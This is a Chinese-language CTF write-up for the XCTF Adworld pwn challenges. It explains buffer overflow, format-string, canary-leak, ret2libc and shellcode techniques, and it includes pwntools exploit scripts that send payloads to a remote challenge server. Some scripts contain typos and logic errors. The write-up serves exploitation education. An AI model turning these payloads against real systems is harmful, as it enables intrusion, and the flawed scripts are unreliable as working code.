攻防世界pwn wp

新手区1.level0

反编译得到的重要的函数

1
2
3
4
int callsystem()
{
return system("/bin/sh");
}

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

return read(0, &buf, 0x200uLL);
}

buf占的空间为0x88
后面为
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
r存放的是返回地址

1
2
-0000000000000080 ; Use data definition commands to create local variables and function arguments.
-0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers.

将r覆盖为callsystem即能进入system(“bin/sh”)
exp如下

1
2
3
4
5
from pwn import *
p=remote("111.200.241.244",34767)
payload=b'a'*0x88+p64(0x400596)//sysaddr = elf.symbols['callsystem'] # 获取 ELF 文件中 callsystem 的地址
p.sendline(payload)
p.ineractive()

新手区第2题hello pwn(栈溢出)

反编译代码如下

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
alarm(0x3Cu);
setbuf(stdout, 0LL);
puts("~~ welcome to ctf ~~ ");
puts("lets get helloworld for bof");
read(0, &unk_601068, 0x10uLL);
if ( dword_60106C == 0x6E756161 )
sub_400686(0LL, &unk_601068);--cat flag
return 0LL;
}

dword_601068C的位置如图
avatar
得到flag必须是dword值为0x6E756161,payload=b’a’* 4+p32(0x6E756161)
exp为

1
2
3
4
5
6
from pwn import *
p=remote("111.200.241.244:36548",36548)
p=b'a'*4+p32(0x6E756161)
p.sendline(payload)
print(p.recv())
print(p.recv())

第3题int_overflow(整数溢出+栈溢出)

cat flag地址为0x0804868

1
2
3
4
5
6
7
8
9
10
11
12
.text:0804868B ; __unwind {
.text:0804868B push ebp
.text:0804868C mov ebp, esp
.text:0804868E sub esp, 8
.text:08048691 sub esp, 0Ch
.text:08048694 push offset command ; "cat flag"
.text:08048699 call _system
.text:0804869E add esp, 10h
.text:080486A1 nop
.text:080486A2 leave
.text:080486A3 retn
.text:080486A3 ; } // starts at 804868B

通过分析源程序可以知道溢出点在dest 在strcpy中将s复制到dest中,s位函数传进来的参数w,最多为0x199位远远大于0x14的dest,但是if函数中只有当s的长度为4,5,6,7时才能实现strcpy操作,从而栈溢出,即passwd的长度为4-7,此时通过整数溢出则能实现控制passwd的长度符合条件,v3为passwd的长度为8位,最大为255,exp如下

1
2
3
4
5
6
7
8
9
from pwn import *
p=remote("111.200.241.244",54103)
p.sendlineafter("Your choice:","1")
p.sendineafter("username:",'archer')
p.recvuntil("Please input your passwd:")
payload=b'a'*0x14+b'a'*4+p32(0x804868B)+b'a'*234
p.sendline(payload)
p.recv()
p.interactive()

第4题when_did_you_born(栈溢出)

溢出点:gets()
题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ( v5 == 0x786 )
{
puts("You Cannot Born In 1926!");
result = 0LL;
}
else
{
puts("What's Your Name?");
gets((__int64)&v4);
printf("You Are Born In %d\n", v5);
if ( v5 == 0x786 )
{
puts("You Shall Have Flag.");
system("cat flag");

拿到flag必须使v5进入第一个if时!=0x786而进入第二个if时=0x786,后面发现有gets函数,通过简单的覆盖操作即能拿到flag
exp如下

1
2
3
4
5
6
7
8
9
from  pwn import *
p=remote("111.200.241.244",59458)
p.sendline("1111")
payload=b'a'*(0x20-0x18)+p64(0x786)
p.recvuntil("What's Your Name?")
p.sendline(payload)
print(p.recv())
print(p.recv())
print(p.recv())

第5题CGfsb(格式化字符串漏洞)

首先阅读程序的源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
int buf; // [esp+1Eh] [ebp-7Eh]
int v5; // [esp+22h] [ebp-7Ah]
__int16 v6; // [esp+26h] [ebp-76h]
char s; // [esp+28h] [ebp-74h]
unsigned int v8; // [esp+8Ch] [ebp-10h]

v8 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
buf = 0;
v5 = 0;
v6 = 0;
memset(&s, 0, 0x64u);
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", (const char *)&buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
return 0;
}

使pwnme为8即能拿到flag,此时可以发现前面的printf(&s)存在格式化字符串漏洞(),%?$n(?为溢出位数,作用将之前输出的字符串的长度赋给一个变量,栈中第一个位置即为变量的地址),溢出位数可以通过输入aaaa+%p* 20得知
exp如下

1
2
3
4
5
6
7
from pwn import *
p=remote("111.200.241.244",35314)
p.sendlineafter("please tell me your name:","archer")
payload=p32(0x0804A068)+'aaaa'+'%10$n'
p.sendline(payload)
print(p.recv())
print(p.recv())

第6题level2

题目源代码如下

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

system("echo Input:");
return read(0, &buf, 0x100u);
}

显然buf为溢出点
此时查看栈结构如下

1
2
3
4
+00000000  s              db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables

输入0x8C填满前面的部分之后填入_system()函数的返回地址0x08048320,然后还要把剩下的空间填满(ebp+8),进入_system()后,需要将/bin/sh(地址为0x0804A024)替换为system中的参数
exp如下

1
2
3
4
5
6
7
8
from pwn import *
p=remote("111.200.241.244",59477)
systemaddr=0x08048320
binaddr=0x0804A024
payload=b'a'*0x88+p32(systemaddr)+p32(binaddr)
p.sendline(payload)
print(p.recv())
p.interactive()

第7题string

在代码中存printf(&format,&format)这个操作(格式化字符串漏洞),而这个操作能够实现什么–修改指定内存的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 sub_400BB9()
{
int v1; // [rsp+4h] [rbp-7Ch]
__int64 v2; // [rsp+8h] [rbp-78h]
char format; // [rsp+10h] [rbp-70h]
unsigned __int64 v4; // [rsp+78h] [rbp-8h]

v4 = __readfsqword(0x28u);
v2 = 0LL;
puts("You travel a short distance east.That's odd, anyone disappear suddenly");
puts(", what happend?! You just travel , and find another hole");
puts("You recall, a big black hole will suckk you into it! Know what should you do?");
puts("go into there(1), or leave(0)?:");
_isoc99_scanf((__int64)"%d", (__int64)&v1);
if ( v1 == 1 )
{
puts("A voice heard in your mind");
puts("'Give me an address'");
_isoc99_scanf((__int64)"%ld", (__int64)&v2);
puts("And, you wish is:");
_isoc99_scanf((__int64)"%s", (__int64)&format);
puts("Your wish is");
printf(&format, &format);//就是这里
puts("I hear it, I hear it....");
}
return __readfsqword(0x28u) ^ v4;
}

通过对程序的分析可以知道,程序内没有给出system相关的函数,因此需要自己构建一个函数有多种方式构造
其一(pwntools中的)
context(arch=’amd64’,os=’linux’,log_level=’debug’)
shellcode=asm(shellcraft.sh())
但是shellcode应该放在哪一段区域,使shellcode被执行呢?现在根据程序从后往前推
另一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
void *v1; // rsi
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
puts("Dragon say: HaHa! you were supposed to have a normal");
puts("RPG game, but I have changed it! you have no weapon and ");
puts("skill! you could not defeat me !");
puts("That's sound terrible! you meet final boss!but you level is ONE!");
if ( *a1 == a1[1] )
{
puts("Wizard: I will help you! USE YOU SPELL");
v1 = mmap(0LL, 0x1000uLL, 7, 0x21, 0xFFFFFFFF, 0LL);
read(0, v1, 0x100uLL);
((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);//这个地方好像是把数转化成程序,然后可以在这里写入shellcode 感觉spell是在提示shell,
}
return __readfsqword(0x28u) ^ v3;
}

其中V1为那个地方可以写入shellcode,思路出来了,先使程序运行到printf(&format,&format)这个地方,然后再运行到read v1这,
第一个输入点_isoc99_scanf((__int64)”%s”, (__int64)&s);这里随便输什么(不太长),然后到第二个输入点_isoc99_scanf((__int64)”%s”, (__int64)&s1);这里只能输east,下一个输入点_isoc99_scanf((__int64)”%d”, (__int64)&v1);输入1后即能到上面说的printf(&format,&format),然后程序继续运行当运行到这时要注意了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
void *v1; // rsi
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
puts("Dragon say: HaHa! you were supposed to have a normal");
puts("RPG game, but I have changed it! you have no weapon and ");
puts("skill! you could not defeat me !");
puts("That's sound terrible! you meet final boss!but you level is ONE!");
if ( *a1 == a1[1] )
{
puts("Wizard: I will help you! USE YOU SPELL");
v1 = mmap(0LL, 0x1000uLL, 7, 0x21, 0xFFFFFFFF, 0LL);
read(0, v1, 0x100uLL);
((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
}
return __readfsqword(0x28u) ^ v3;
}

此时唯一的问题是怎么使* a1==a1[1],a1的地址=v4的地址也就是printf(“secret[0] is %x\n”, v4, a2);这个地方(输出的地方就是v4的地址),然后看看a1[1]这个地方,然而并没有什么发现,V4的空间为8bytes,此时可以联想到前面的格式化字符串漏洞,将相同的数据分别写入a1和a1[1]不就可以使他们相等了吗?
注意这个地方
v3 = malloc(8uLL);
v4 = (__int64)v3;

  • v3 = 0x44=68;
    v3[1] = 0x55=85;
    v3[0]=v4[0]=a1[0]=68
    v3[1]=v4[1]=85
    这个地方先为v3分配8bytes的空间,然后将v3的地址给v4,然后
    而格式化字符串漏洞怎么实现这个操作?
    首先肯定要知道v4的地址即printf(“secret[0] is %x\n”, v4, a2);这里的输出内容
    方法如下p.recvuntil(“secret[0] is “)
    通过控制输入可以知道偏移量为7,将v4[0]改为85即可能实现相关操作

最终exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
p=remote("111.200.241.244",57236)
p.recvuntil("secret[0] is ")
v4_addr=(int)(p.recvuntil('\n')[:-1],16)
p.sendline("archer")
p.sendline('east')
p.sendline('1')
p.sendlineafter("'Give me an address'",str(v4_addr))
payload=b'%85c%7$n'
p.sendline(payload)
shellcode=asm(shellcraft.sh())
p.sendlineafter("SPELL",shellcode)
p.interactive()

第8题guess_num

程序中最关键的两行代码

1
2
gets((__int64)&v7);
srand(seed[0]);

send[0]的位置为-10h – -9h v7为-30 – +10 通过gets可以覆盖seed[0]
覆盖将seed[0]赋为aaaa后,在Linux上写一个同样的c生成随机数,并且用种子生成的随机数使伪随机数在相同系统下用相同种子生成的随机数相同,然后根据题目要求要依次输入10个数且==rand()%6+1,直接在Linux上写个c脚本然后依次输就能得到flag

第9题cgpwn2

1
2
3
4
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets(&s);

代码中未给出/bin/sh或者cat flag之类的语句,同时也没有相关的可执行函数,因此需要调用system然后再把/bin/sh填入fgets中,最后/bin/sh填入system函数的参数中
exp如下

1
2
3
4
5
6
7
8
from pwn import *
p=remote("111.200.241.244",56145)
p.sendlineafter("name\n",'/bin/sh')
systemaddr=0x08048420
nameaddr=0x0804A080
payload=b'a'*0x2A+p32(systemaddr)+p32(0)+p32(nameaddr)
p.sendlineafter("here:\n",payload)
p.interactive()

第10题level3

做题思路:程序中无system函数,但给出了libc文件,可以通过调用libc中的system和/bin/sh得到flag,调用system需要system函数的真实地址,一开始思路是直接栈溢出到system函数,但是system中的参数地址肯定要是/bin/sh,但/bin/sh不在plt表里,此时问题变成了怎么得到/bin/sh的地址,/bin/sh的地址可以通过strings -a -t x libc_32.so.6 | grep “/bin/sh”得到为0x15902b,但是这个地址是假的地址,再加上got的基地址就是对应真实地址,因此问题变成了怎么得到got的基地址,got的基地址可以通过write函数的got值和libc.sys中的值得出=write_got-libc.sym[‘write’]
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
p=remote("111.200.241.244",48579)
elf=ELF("./level3")
libc=ELF("./libc_32.so.6")
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=libc.sym['main']
payload=b'a'*0x8c+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.recvuntil('Input:\n')
p.sendline(payload)
write_got_addr=u32(p.recv(4))
base=write_got_addr-libc.sym['write']
system_addr=base+libc.sym['system']
binsh_addr=base+0x15902b
payload1=b'a'*0x8C+p32(system_addr)+p32(0)+p32(binsh_addr)
p.sendline(payload1)
p.interactive()

进阶区第1题dice_game

本题考查的知识点是如果随机数的种子相同,则对应的随机数也相通,思路通过栈溢出覆盖seed[0]
exp如下

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
from ctypes import *
p=remote("111.200.241.244",51064)
payload=b'a'*0x40+b'aaaa'
p.sendlineafter("your name: ",payload)
libc=cdll.LoadLibrary("libc.so.6")
libc.srand(0x61616161)
for i in range(50):
num=libc.rand()%6+1
p.sendlineafter("point(1~6): ",str(num))
print(p.recv())

第2题forgot

本题考察的知识点是栈溢出,程序看上去十分复杂,但只要理清程序的流程就十分容易
第一个点是__isoc99_scanf(“%s”, v2);这里存在栈溢出,第二个点是(* (&v3 + –v14))();这个是一个函数
exp如下

1
2
3
4
5
6
from pwn import *
p=process("./forgot")
p.sendlineafter("name?",'archer')
payload=b'A'*32+p32(0x80486CC)
p.sendline(payload)
p.interactive()

第3题Mary_Morton

64位,开了canary和NX存在system函数可以直接得到flag,flag_addr=0x4008DA
第一种方法利用格式化字符串漏洞绕canary然后劫持ret到system
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p=remote('111.200.241.244',57770)
p.sendlineafter('3. Exit the battle ','2')#输入2进入的函数存在格式化字符串漏洞
p.sendline('%23$p')#23可以通过字符串格式化漏洞得出
p.recvuntil('0x')
cookie=int(p.recv(16),16)
flag_addr=0x4008DA
payload=b'a'*0x88+p64(cookie)+b'a'*8+p64(flag_addr)
p.sendlineafter('3. Exit the battle ','1')#输入1进入的函数存在栈溢出
p.sendline(payload)
print(p.recvline())
print(p.recvline())

第2种方法通过利用check_stack_fail以及格式化字符串漏洞来改got表

第3题pwn-100

先checksec,程序只开了NX,程序中存在栈溢出,程序中无system函数,无libc,无/bin/sh,当有read,puts函数,因此大概思路有了
1.泄露system函数地址
2.构造rop链,写入”/bin/sh”
3.调用system()函数
泄露system有几种方式,第一种是通过DynELF模块